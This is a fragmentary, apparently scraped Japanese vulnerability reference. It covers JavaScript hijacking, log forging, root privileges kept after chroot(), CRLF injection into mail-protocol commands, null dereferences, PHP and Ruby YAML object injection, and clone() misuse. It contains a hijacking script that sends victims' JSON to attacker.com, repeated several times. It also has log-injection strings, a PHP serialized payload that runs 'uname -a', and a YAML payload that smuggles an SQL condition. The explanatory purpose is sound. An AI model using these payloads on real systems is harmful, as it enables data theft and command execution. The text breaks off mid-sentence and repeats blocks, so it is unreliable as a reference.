var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、GWT では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
メソッドに渡された javax.naming.directory.SearchControls
インスタンスで returningObjectFlag
を true
に設定するか、代わりにこのフラグを設定するライブラリ関数を使用することで、オブジェクトを返す検索を実行します。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
などの操作を実行するのに必要な、昇格した権限レベルは、操作を実行したらすぐに降格させます。chroot()
などの権限を持つ関数をコールする場合、先に root
権限を獲得する必要があります。権限付きの操作が完了したら、プログラムは root
権限を降格させ、呼び出したユーザーの権限レベルに戻さなければなりません。chroot()
をコールして、アプリケーションを APP_HOME
配下のファイル システムのサブセットに制限することで、攻撃者がプログラムを使用して他の場所にあるファイルに無許可でアクセスできないようにしています。コードはユーザーが指定したファイルを開き、ファイルの内容を処理しています。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
をコールしない場合、アプリケーションは不必要な root
権限で動作し続けます。悪意ある操作はすべてスーパーユーザーの権限で実行されることになるので、攻撃者によってアプリケーションに対して実行される悪用が成功すると権限昇格攻撃になります。アプリケーションが権限レベルを root
以外のユーザーに降格していれば、被害の可能性は大幅に減少します。
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
として「FOO
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO
FOO VAL: BAR
」という文字列を送信すると、以下のエントリが記録されます。
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
」という文字列を送信すると、以下のエントリが記録されます。
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
を応用しています。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
として「twenty-one
」という文字列を送信すると、「admin
」という名前のユーザーを作成でき、以下のエントリが記録されます。
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」というユーザー名を作成できる場合、以下のエントリが記録されます。
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
」という文字列を送信すると、以下のエントリが記録されます。
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
として「twenty-one
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
」という文字列を送信すると、以下のエントリが記録されます。
Failed to parse val=twenty-one
User logged out=badguy
CREATE
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
および PASS
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入する可能性があります。
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
を戻すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。Item
プロパティによって戻される文字列が null
かどうかを、メンバー関数 Equals()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。malloc()
で戻されたポインタを使用する前に、メモリの割り当てが正しく行われたかチェックしていません。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
のコールが失敗に終わった理由が、req_size
の超過によるものか、許容範囲外の同時処理によるものか定かではありません。時間の経過とともに蓄積された Memory Leak によるものかも不明です。エラー処理を怠ると、原因を究明する術はありません。null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。getParameter()
によって戻される文字列が null
かどうかを、メンバー関数 compareTo()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。例 2:次のコードは、
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
に設定され、それが「常に定義される」という誤った前提でプログラマによって後から間接参照されるシステムプロパティを示します。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」NullException
を引き起こします。cmd
」という名前の定義されたプロパティがあると前提しています。攻撃者がプログラムの環境を制御して「cmd
」を未定義にできる場合、プログラムが Trim()
メソッドのコールを試みると NULL ポインタ例外が発生します。
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
であるかを確認する前に、null
の可能性があるポインタを間接参照する場合です。チェック後間接参照のエラーが発生するのは、プログラムが null
に対して明示的チェックを実行したにも関わらず、null
であることが判明しているポインタを間接参照した場合です。この種のエラーの多くは、タイプミスかプログラマの不注意が原因です。格納後間接参照のエラーは、プログラムが明示的にポインタを null
に設定し、後でそのポインタを間接参照した場合に発生します。このエラーは通常、変数の宣言時にプログラマがその変数を null
に初期化したことが原因で発生します。ptr
は NULL
ではないと仮定してします。この仮定は、プログラマがポインタを間接参照したときに明らかになります。その後プログラマが ptr
と NULL
を比較したときに、この仮定は成り立たなくなります。ptr
が if
ステートメントでチェックされたときに NULL
であるとすれば、間接参照されたときにも NULL
である可能性があり、これがセグメンテーション違反の原因となる場合があります。例 2: 次のコードでは、プログラマは変数
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
が NULL
であることを確認してから、続いてそれを誤って間接参照しています。ptr
が if
ステートメントでチェックされたときに NULL
になっていると、null
Dereference が発生し、これがセグメンテーション違反の原因となります。例 3: 次のコードでは、プログラマが文字列
if (ptr == null) {
ptr->field = val;
...
}
'\0'
(実際は 0) または NULL
を忘れたため、NULL ポインタを間接参照し、セグメンテーション違反を引き起こしています。例 4: 次のコードでは、プログラマは明示的に変数
if (ptr == '\0') {
*ptr = val;
...
}
ptr
を NULL
に設定しています。続いて、オブジェクトの null
値をチェックする前に ptr
を間接参照しています。
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
を引き起こします。cmd
」という名前の定義されたプロパティがあると前提しています。攻撃者がプログラムの環境を制御して「cmd
」を未定義にできる場合、プログラムが trim()
メソッドのコールを試みると NULL ポインタ例外が発生します。
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
unserialize()
関数に渡される前に適切にサニタイズされないときに発生します。攻撃者は特別製のシリアライズされた文字列を脆弱な unserialize()
コールに渡すことができ、アプリケーション スコープへの任意の PHP オブジェクト挿入を引き起こします。この脆弱性の重大度はアプリケーション スコープで利用可能なクラスに依存します。__wakeup
や __destruct
のような PHP マジック メソッドを実装したクラスは、攻撃者がそれらのメソッド内でコードを実行できるので、狙われます。__destruct()
マジックメソッドを実装し、クラスのプロパティとして定義されるシステム コマンドを実行する PHP クラスを示します。ここに、ユーザー指定データを使用した unserialize()
に対する安全でないコールもあります。
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
では、アプリケーションはシリアライズされた User
オブジェクトと予測される可能性がありますが、攻撃者は command
プロパティ向けの事前定義された値とともに SomeAvailableClass
のシリアル化されたバージョンを実際に提供できます。
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
オブジェクトに対するその他の参照がない場合にはデストラクタ メソッドがすぐに呼び出され、攻撃者により提供されたコマンドを実行します。unserialize()
が、BlackHat 2010 会議で Stefan Esser により紹介された、「Property Oriented Programming」として知られている技術を使用して呼び出されたときに、宣言された異なるクラスを繋げることができます。この技術により攻撃者は既存のコードを再利用してそのコード自身のペイロードを作成することができます。YAML.load()
のようなデータをデシリアライズする関数に渡される前に適切にサニタイズされないときに発生します。攻撃者は特別製のシリアライズされた文字列を脆弱な YAML.load()
コールに渡すことができます。その結果、デシリアライズの際にクラスがアプリケーションに読み込まれるのであれば、任意の Ruby オブジェクトをプログラムに挿入できます。これはさまざまな攻撃の機会を与える可能性があります。たとえば、Cross-Site Scripting の脆弱性を検出する検証ロジックをバイパスしたり、ハードコーディングされているように見える値で SQL Injectionを許したり、あるいは完全なコード実行を許すこともあります。YAML.load()
に対する安全でないコールもあります。
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
では、アプリケーションはシリアライズされた User
オブジェクトを要求する可能性があり、print_details
という名前の関数も与えられます。しかしながら、攻撃者は実際にはシリアライズされたバージョンの Transaction
オブジェクトとその @id
属性の事前定義された値を与えることができます。そのため、次のような要求は、@id
が数値であることを確認する検証チェックのバイパスを許可します。
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
user
パラメーターに !ruby/object:Transaction\nid:4 or 5=5\n
が割り当てられることがわかります。Transaction
型のオブジェクトが作成され、@id
が "4 or 5=5"
に設定されます。開発者は User#print_details()
をコールしているつもりでも、Transaction#print_details()
がコールされており、Ruby の文字列補間の結果、SQL クエリは SELECT * FROM transactions WHERE id=4 or 5=5
をクエリとして実行するように変更されます。句が追加されたことで、このクエリは true
として評価され、開発者が意図した単一行ではなく、transactions
テーブルにあるすべての行が返されます。YAML.load()
が、BlackHat 2010 会議で Stefan Esser により紹介された、「Property Oriented Programming」として知られている技術を使用して呼び出されたときに、宣言された異なるクラスを繋げることができます。この技術により攻撃者は既存のコードを再利用してそのコード自身のペイロードを作成することができます。clone()
メソッドは新規オブジェクトを取得するために super.clone()
をコールします。clone()
のすべての実装は super.clone()
をコールして新規オブジェクトを取得します。クラスがこの規定に従わない場合、サブクラスの clone()
メソッドは不正なタイプのオブジェクトを出力します。super.clone()
のコールをしなかったことが原因で発生したバグを示すものです。Kibitzer
が clone()
を実装する方法のため、FancyKibitzer
の clone メソッドはタイプ FancyKibitzer
ではなく、タイプ Kibitzer
のオブジェクトを返します。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}